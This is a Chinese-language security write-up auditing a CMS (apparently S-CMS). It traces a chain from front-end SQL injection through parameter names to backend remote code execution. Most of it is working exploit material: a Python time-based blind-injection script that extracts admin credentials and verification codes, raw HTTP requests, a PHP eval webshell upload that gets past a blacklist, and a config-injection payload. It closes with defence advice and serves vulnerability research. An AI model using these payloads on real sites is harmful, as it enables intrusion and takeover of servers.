某CMS代码审计从前台注入到后台RCE
字数 1091 2025-08-09 17:09:29
某CMS代码审计:从前台SQL注入到后台RCE完整利用分析
0. 前言
本文详细分析某CMS系统中存在的安全漏洞链:从前台SQL注入漏洞获取管理员凭证,到绕过安全限制进入后台,最终实现远程代码执行(RCE)的完整利用过程。该漏洞链涉及多个关键点,包括参数名注入、黑名单绕过技巧以及系统重装漏洞等。
1. 前台SQL注入漏洞
1.1 漏洞原理分析
在function/function.php中,系统对所有输入参数的值进行了过滤,但忽略了对参数名本身的过滤。而在function/form.php中,直接将参数名带入数据库语句执行:
// function/form.php关键代码
$action = $_GET['action'];
if($action == 'input'){
foreach($_POST as $k=>$v){
$db->query("insert into SL_input (I_name,I_value) values ('$k','$v')");
}
}
1.2 注入验证
构造时间盲注Payload:
POST /function/form.php?action=input HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
1-sleep(5)=xxx
1.3 绕过过滤技巧
监控发现空格被过滤为下划线,使用/**/替代空格:
"1-if((select(substr(A_pwd,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j)
1.4 自动化注入脚本
注入管理员密码(32位MD5):
import requests,time
dic = [str(x) for x in range(0, 10)] + [chr(y) for y in range(97, 123)]
result=''
for i in range(1,33):
for j in dic:
data={
"1-if((select(substr(A_pwd,{},1))from/**/SL_admin)='{}',sleep(5),1)".format(str(i),j):"xxx"
}
startTime = time.time()
res = requests.post(url+'/function/form.php?action=input',data=data)
endTime = time.time()
if endTime - startTime > 5:
result=result+j
print(str(i)+'[+] '+result)
break
注入管理员用户名:
# 先获取用户名长度
for x in range(1,30):
data = {
"1-if((select(length(A_login))from/**/SL_admin)='{}',sleep(5),1)".format(str(x)):"xxx"
}
# ...时间盲注判断...
1.5 获取后台地址
后台地址存储在SL_config表的C_admin字段中:
# 注入后台路径
result=''
for i in range(1,x+1):
for j in dic:
data={
"1-if((select(substr(C_admin,{},1))from/**/SL_config)='{}',sleep(5),1)".format(str(i),j):"xxx"
}
# ...时间盲注判断...
1.6 绕过异地登录验证码
当IP与上次登录不一致时,系统会:
- 检查管理员邮箱是否正确(不正确则验证码设为123456)
- 生成6位随机码存入
SL_config表的C_test列 - 发送邮件给管理员
注入获取验证码:
result=''
dic= [str(x) for x in range(0, 10)]
for i in range(1,7):
for j in dic:
data={
"1-if((select(substr(C_test,{},1))from/**/SL_config)='{}',sleep(5),1)".format(str(i),j):"xxx"
}
# ...时间盲注判断...
2. 后台RCE漏洞
2.1 文件修改绕过RCE
漏洞文件:admin/ajax.php
绕过原理:
- 传入文件名如
feed.php.时,$kname值为空 - 对空值进行
preg_match('/asp|php|apsx|asax|ascx|cdx|cer|cgi|json|jsp/i', $kname)判断返回False - 成功绕过黑名单检查
利用方式:
POST /admin/ajax.php?type=savetxt&path=/feed.php. HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
txt=<?php eval($_POST[cmd]);?>
2.2 重装CMS覆盖配置文件RCE
利用步骤:
- 修改
config.json文件:
POST /admin/ajax.php?type=savetxt&path=/data/config.json. HTTP/1.1
Host: target.com
txt={"first":"1","table":"SL_","template":"true","plug":"true","from":"free","url":"https://www.s-cms.cn","id":"0","https":"false","api":"http://cdn.s-cms.cn"}
-
触发重装功能
-
在数据库名称输入恶意代码:
test#");phpinfo();#
漏洞成因:
重装过程会将数据库配置写入function/conn.php:
// function/conn.php
$dbhost = "localhost";
$dbuser = "root";
$dbpwd = "test#");phpinfo();#";
$dbname = "test";
3. 技术总结
-
Windows文件系统特性:
is_file在Windows环境下对1.php.判断时会自动去掉最后的点 -
黑名单绕过技巧:利用后缀名为空绕过黑名单检查是常见漏洞模式
-
密码重置思路:当注入出的密码无法解密时,可考虑通过数据库读取验证码进行密码重置
-
完整利用链:前台注入→获取凭证→绕过验证→后台RCE,展示了完整的攻击路径
4. 防御建议
- 对所有用户输入(包括参数名)进行严格过滤
- 文件操作时使用白名单而非黑名单机制
- 重装功能应增加权限验证和输入过滤
- 验证码不应直接存储在数据库中
- 对敏感操作(如文件修改)增加二次验证